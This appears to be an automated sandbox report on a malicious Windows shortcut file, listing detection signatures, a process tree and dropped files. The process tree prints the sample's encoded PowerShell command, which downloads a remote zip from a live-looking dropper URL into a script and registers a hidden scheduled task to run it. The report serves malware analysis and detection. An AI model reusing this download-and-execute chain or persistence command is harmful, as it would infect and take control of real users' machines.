Overview

overview

10

Static

static

1

JunioFacServiPlus.lnk

windows10-2004-x64

10

JunioFacServiPlus.lnk

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    298s
  • max time network
    121s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/07/2026, 03:15

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General

  • Target
    JunioFacServiPlus.lnk
  • Size 3KB
  • Sample260707-dr2yeagx81
  • SHA256 7786ec66e5db0491b2856bd7569e73f4f89acf5be80fa21d2c092594e08fff8e
  • MD5 SHA1 SHA512 TLSH
Score
10/10
adwaredefense_evasionexecutionpersistencespyware

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://86sensor.com/xtx.zip

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 35 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 43 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\JunioFacServiPlus.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2520
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -EncodedCommand JABkAGUAcwB0ADEAIAA9ACAAIgBjADoAXAB1AHMAZQByAHMAXABwAHUAYgBsAGkAYwBcAGQAbwBjAHUAbQBlAG4AdABzAFwAbQBzAGcALgBwAHMAMQAiAA0ACgAkAHUAcgBsADEAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AOAA2AHMAZQBuAHMAbwByAC4AYwBvAG0ALwB4AHQAeAAuAHoAaQBwACIADQAKAA0ACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAbAAxACAALQBPAHUAdABGAGkAbABlACAAJABkAGUAcwB0ADEADQAKAA0ACgBzAGMAaAB0AGEAcwBrAHMAIAAvAGQAZQBsAGUAdABlACAALwB0AG4AIAAiAG0AcwB0AHQAIgAgAC8AZgANAAoAcwBjAGgAdABhAHMAawBzACAALwBjAHIAZQBhAHQAZQAgAC8AdABuACAAIgBtAHMAdAB0ACIAIAAvAHQAcgAgACIAJwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAJwAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACAALQBGAGkAbABlACAAYwA6AFwAdQBzAGUAcgBzAFwAcAB1AGIAbABpAGMAXABkAG8AYwB1AG0AZQBuAHQAcwBcAG0AcwBnAC4AcABzADEAIgAgAC8AcwBjACAAbwBuAGMAZQAgAC8AcwB0ACAAMgAzADoANQA5ACAALwBmAA0ACgBzAGMAaAB0AGEAcwBrAHMAIAAvAHIAdQBuACAALwB0AG4AIAAiAG0AcwB0AHQAIgANAAoA
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3756
      • C:\Windows\system32\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /delete /tn mstt /f
        3⤵
          PID:3828
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /tn mstt /tr "'powershell.exe' -NoProfile -WindowStyle hidden -ExecutionPolicy Bypass -File c:\users\public\documents\msg.ps1" /sc once /st 23:59 /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2444
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn mstt
          3⤵
            PID:3652
      • C:\Windows\system32\sihost.exe
        sihost.exe
        1⤵
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2688
        • C:\Windows\explorer.exe
          explorer.exe /LOADSAVEDWINDOWS
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Enumerates connected drives
          • Checks SCSI registry key(s)
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          PID:2984
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -NoProfile -WindowStyle hidden -ExecutionPolicy Bypass -File c:\users\public\documents\msg.ps1
        1⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2952
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe"
        1⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4496
      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:1844
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:6108
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k GPSvcGroup
        1⤵
          PID:4576

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 64B
              • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
              • MD5 SHA1 SHA512
              Submit Download

              prep_Activatable Class_Hermes_perf.cache
              • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
              • Size 595B
              • SHA256 d4e60617c2afab8263febabe7f14f18595715078d71307a8cefe0707dae76dee
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              __PSScriptPolicyTest_we1pw5hh.ivx.ps1
              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_we1pw5hh.ivx.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              memory/1844-26-0x00000235001E0000-0x00000235002E0000-memory.dmp
              Download

              memory/1844-28-0x00000235001E0000-0x00000235002E0000-memory.dmp
              Download

              memory/1844-85-0x0000023514200000-0x0000023514220000-memory.dmp
              Download

              memory/1844-54-0x0000023513E80000-0x0000023513F80000-memory.dmp
              Download

              memory/1844-27-0x00000235001E0000-0x00000235002E0000-memory.dmp
              Download

              memory/1844-64-0x0000023503C80000-0x0000023503CA0000-memory.dmp
              Download

              memory/1844-52-0x0000023503A20000-0x0000023503A40000-memory.dmp
              Download

              memory/3756-10-0x00007FFA87CF0000-0x00007FFA88694000-memory.dmp
              Download

              memory/3756-11-0x00007FFA87CF0000-0x00007FFA88694000-memory.dmp
              Download

              memory/3756-17-0x00007FFA87CF0000-0x00007FFA88694000-memory.dmp
              Download

              memory/3756-14-0x00007FFA87CF0000-0x00007FFA88694000-memory.dmp
              Download

              memory/3756-13-0x00007FFA87CF0000-0x00007FFA88694000-memory.dmp
              Download

              memory/3756-5-0x00007FFA87CF0000-0x00007FFA88694000-memory.dmp
              Download

              memory/3756-12-0x00007FFA87CF0000-0x00007FFA88694000-memory.dmp
              Download

              memory/3756-15-0x00007FFA87CF0000-0x00007FFA88694000-memory.dmp
              Download

              memory/3756-2-0x00007FFA87E7F000-0x00007FFA87E80000-memory.dmp
              Download

              memory/3756-9-0x00007FFA87CF0000-0x00007FFA88694000-memory.dmp
              Download

              memory/3756-8-0x00007FFA87CF0000-0x00007FFA88694000-memory.dmp
              Download

              memory/3756-7-0x00007FFA87CF0000-0x00007FFA88694000-memory.dmp
              Download

              memory/3756-6-0x000002E826D80000-0x000002E826DA2000-memory.dmp
              Download

              memory/4496-24-0x00000243EBDF0000-0x00000243EBE38000-memory.dmp
              Download

              memory/6108-214-0x000001D57B000000-0x000001D57B691000-memory.dmp
              Download